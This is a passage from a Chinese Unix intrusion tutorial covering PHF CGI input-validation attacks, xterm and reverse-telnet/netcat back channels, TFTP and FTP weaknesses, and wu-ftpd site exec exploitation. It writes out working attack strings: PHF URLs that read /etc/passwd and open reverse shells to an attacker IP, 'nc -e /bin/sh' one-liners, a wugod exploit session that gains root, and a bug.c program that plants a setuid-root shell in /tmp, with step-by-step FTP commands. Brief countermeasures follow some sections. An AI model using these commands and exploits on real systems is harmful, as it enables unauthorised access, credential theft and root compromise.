最大程度的减小使用SUID 到root的程序 打上相关厂家的补丁 测试并审计每个程序 禁止不用的或危险的服务 禁止堆栈执行
--[1.2.2 输入验证攻击
96年的PHF脆弱点虽然很陈旧,但是是一个输入验证攻击的极佳例子。 发生输入法验证攻击的情况包括: 程序没能认出语法上不正确的输入 模块接受无关的输入 模块没能处理遗漏的输入域 发生域值(field-value)
举例:在早期Apache Web服务器版本上的phf CGI程序,就是过去常被黑客用来读取服务器系统上的密码文件(/etc/password),或让服务器为其执行任意指令的工具之一。它的发现大体这样 /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd 这个漏洞发觉仅仅是cat密码文件而已,大多数技能不足的攻击者尝试破解该密码文件前提是密码文件未作隐蔽处理,然后登陆目标系统。技能丰富的攻击者能够获得该系统的直接 shell。这个漏洞允许攻击者以运行WEB服务器程序的用户ID的特权执行任意命令。大多数这个ID是“nobody”然而许多不幸的网站犯了用 root权限运行WEB服务器程序的大错。
理解这个漏洞的发现过程很重要,这样可以把其概念用于其他输入验证攻击。unix中存在为特殊目的保留的所谓元字符,包括\/<>!$%^&*|{}[]'"~;等。如果一个程序或CGI脚本将接受由用户提供的输入,不过没有恰当的验证这些数据,那么很有可能被蒙蔽成执行任意代码。一般成为逸出(escaping)到某个 shell,通常涉及到传递某个作为用户提供的输入的unix元字符。这种攻击绝非仅限于PHF。
输入验证攻击对策: 加强编程行为的安全性。确保程序和脚本只接受该接受的数据而忽略其他任何数据。为保证CGI程序的安全WWW Security FAQ是一个不错的资源。编写完程序后审计并测试。
--[1.3 shell
任何一个攻击者的一个主要目标是获取对于目标系统的命令行或shell的访问。传统上,交互shell是通过telnet、rlogin、ssh远程登陆到 unix服务器中实现的。另外使用rsh、ssh或rexec可以不经过交互登陆就能远程执行命令。但是远程登陆服务关了或背防火墙阻塞了怎么办?假设攻击者试图获取某个工业分组检测防火墙或路由器之后的一台unix系统WEB服务器的访问权。防护墙是基于路由的防火墙,不代理任何服务。唯一允许从外到内穿越防火墙的服务是HTTP(80)和HTTPS(443)。现在假设WEB服务器容易受到PHF输入验证攻击。该服务器以nobody特权运行。这样攻击者如果成功发掘该web服务器的PHF输入验证条件,他就可以在其主机上以用户nobody执行代码。这是获得交互shell的第一步。
--[1.3.1 X Window
攻击者利用PHF执行命令后,最先采用获取交互shell访问的技巧之一是利用unix的X Window系统。X相当健壮。对于攻击者,最有用的是X客户端程序之一xterm。它打开-display选项,攻击者可以把xterm的命令 shell定向到自己的X服务器。这样就可以访问远程shell了。
/cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20-display%20vitter_IP:0.0
该远程WEB服务器将执行一个xterm,并把它回显回攻击者(vitter)自己的X服务器,其窗口ID(window ID)和屏幕ID(screen ID)都是0。代开-ut选项,整个活动将不被记录。%20是空格的16进制等效。
--[1.3.2 反向通道
如果管理员从他的服务器里去了X,那怎么办?还可以用其他的办法,比如创建一个反向通道(back channel)。我们定义反向通道是通信通道是从目标系统而不是攻击系统发起的一种机制。注意,上面的例子我们不可能从传统的方式获取交互shell,因为有防火墙。因此攻击者通过创建反向通道从脆弱的unix服务器到攻击者自己的系统会话。
达到这个目的的方法好多,比如反向telnet,就是使用telnet创建从目标系统到攻击者自己的系统的反向通道。为了执行反向通道,我们需要万能的 netcat即nc工具的支持。攻击者要在自己系统上打开nc监听,由它接受反向telnet连接。开两个窗口(or 两个终端): [root@ha vitter]# nc -l -n -v -p 80 listening on [any] 80
[root@ha vitter]# nc -l -n -v -p 25 listening on [any] 25 首先确定自己机器上没有服务绑定在80和25端口。-l、-p指定成分别在80、25端口监听,工作在详尽模式(由-v指定)不进行从ip地址到主机名的反向解析(由-n指定)现在可以在目标系统上通过PHF的漏洞利用执行如下命令 /bin/telnet vitter_IP 80 | /bin/sh | /bin/telnet vitter_IP 25 下面是该命令对应的PHF发掘: /cgi-bin/phf?Qalias=x%0a/bin/telnet%20vitter_IP%2080%20|%20/bin/sh%20|%20/bin/telnet%20vitter_IP%2025
这样就利用反向tlenet铲回一个shell。解释一下:/bin/telnet vitter_IP 80连接到我们在80端口监听的nc。这是我们真正输入命令的地方。为了于传统的unix输入输出机制保持一致我们的标准输出结果通过管道输给了 /bin/sh即Bourne shell。由/bin/sh执行我们输入的命令而结果在通过管道输给/bin/telnet vitter_IP 25。最终是在两个窗口中发生一个反向telnet。之所以选80、25端口是大多数防火墙都放行对他们的外出访问。
如果在目标机器上可以找到nc的话,也可以这样。利用nc反向通道。 在攻击者机器上: [root@ha vitter]# nc -l -n -v -p 80 listening on [any] 80 目标系统上: /cgi-bin/phf?Qalias=x%0a/bin/nc%20-e%20/bin/sh%20vitter_IP%2080 相当于在目标系统上执行 nc -e /bin/sh vitter_IP 80
反向通道的对策:防护反向通道很困难,只能加强自己的系统安全性,使得反向通道无法执行,包括禁止不必要服务,尽快打上厂商的最新补丁,还要考虑其他的措施: 在要求很高的安全级别的系统上去掉X,不仅可以防止攻击者引回xterm也有助于防止本地用户利用X二进制代码中的脆弱点提升权限。 如果WEB服务器程序以nobody运行,把诸如telnet之类的二进制文件的权限调整成只允许由他们的属主和指定用户组来执行(比如chmod 750 telnet) 某些情况下把防火墙配置成禁止从WEB服务器或其他内部系统发起外出的连接也许可行
--[1.4 常见类型远程攻击
尽管不能包括每个可以想见的远程攻击,不过我们将讨论一些经常遭攻击的主要服务,有助于我们降低漏洞发掘的危险的对策。
--[1.4.1 TFTP TFTP 是简化文件传输协议(Trivial File Transter Protocol)的简称。它基于UDP协议监听69端口。没有什么安全性。攻击者通常定位于TFTP服务系统后尝试TFTP回一个 /etc/passwd文件到自己系统,如果TFTP配置不好的话,目标系统会欣然给出密码文件,攻击者可以利用一串用户名暴力破解。
许多新的TFTP缺省禁止访问除/tftpboot外的任何目录,但是攻击者仍能取回/tftpboot目录中的任意文件,包括敏感的路由器配置文件,通常是根以.cfg后缀的路由器主机名。许多情况下入侵者将由此获得访问目标路由器的密码和SNMP管理群字符串。
TFTP对策:确保TFTP服务器配置成限定访问特定目录。
--[1.4.2 FTP
FTP 即文件传输协议(File Transfer Protocol)许多FTP服务器允许匿名访问,一般情况下只允许访问特定的目录树,但是偶然情况下允许用户穿越整个目录结构,这样攻击者就可以取走 /etc/passwd之类的敏感配置文件。如果更恶化的是任何用户能又写的权限。攻击者也许有能力往某个用户的主目录中放置一个.rhosts文件以允许攻击者rlogin到目标系统
除了允许匿名访问关连的危险之外,FTP服务器程序与缓冲区溢出条件和其他不安全因素相关的安全问题也有相当大份额,比如wu-ftpd2.x(site exec bug)漏洞。它的site exec bug 和这种功能的参数调用不正确有关。这种site exec 功能允许用户登陆到FTP服务器,执行受限的命令集。对攻击者来说就可能经过精心构造的print()转化字符(比如%f,%p,%n等等)组成的特殊字符来执行代码。我们看一个对付Redhat6.2的系统攻击:
[root@ha vitter]# wugod -t 192.168.0.10 -s0 Target: 192.168.0.10 (ftp/<shellcode>):Redhat 6.2 (?) with wuftp 2.6.0(1) from rpm Return Address: 0x08075844,AddrRetAddr: 0xbfffb028,Shellcode: 152 loggin into system.. USER ftp 331 Guest login ok, send you comglete e-mial address as password PASS <shellcode> 230-Next time please use your e-mial address as password 230- for example joe@thunder 230 Guest login ok,access restrictions apply. STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04] STEP 3 : Checking if we can reach our return address by format string STEP 4 : Ptr address test: 0xbfffb028 (if it is not 0xbfffb028 ^C me now) STEP 5 : Sending code.. this will take about 10 seconds. Press ^\ to leave shell Linux shadown 2.2.14-5.0 #1 Fri Jan 3 21:32:20 EST 2000 i686 unknown uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
正如上面看到的,此攻击十分了得,对于支持 site exec功能的脆弱的FTP服务器的匿名访问是足矣获得root访问权的
再举2个例子: 一、使用wu-ftp 2.x(site exec bug)来取得root权限 1.需求:
(1)该主机的 ftpd 使用 wu-ftp 2.x 版本
(2)您必须有该主机的任何一个帐号
2.步骤:
(1)先 telnet login 到主机您的目录下...
(2)使用 gcc -o bug bug.c 将下列程式编译...
--- bug.c -----------------------------
#include #include #include
main() { seteuid(0); system("cp /bin/sh /tmp/.sh"); system("chmod 6777 /tmp/.sh"); }
----------------------------------------- 编译成功会在您的目录下产生 bug 这个档案 (别忘了 chmod ...)
(3)使用 ftp login 到该主机下...
220 hackerforce FTP server (Version wu-2.4(1) Sun Jul 31 21:00:15 CDT 1997) ready. Name (hackerforce:ftp): funky 331 Password required for funky. Password: (password) 230 User funky logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> quote "site exec bash -c id" //检查系统是否能利用此 bug 200-bash -c id 200-uid=0(root) gid=0(root) euid=101(funky) egid=50(users) groups=50(users) 200 (end of 'bash -c id') //一但出现 euid=0 就成功了 ftp> quote "site exec bash -c /yer/home/dir/ftpbug" //执行您刚编译成功的 bug 200-bash -c /your/home/dir/bug 200 (end of 'bash -c /your/home/dir/bug') ftp> quit //离开 ftp 221 Goodbye.
(4)再 telnet 进去该主机,执行 /tmp/.sh 这个 setuid root shell ...
$ id uid=101(funky) gid=50(user) $ /tmp/.sh
# id uid=101(funky) gid=50(user) euid=0(root)
共4页: 上一页 [1] [2] 3 [4] 下一页
|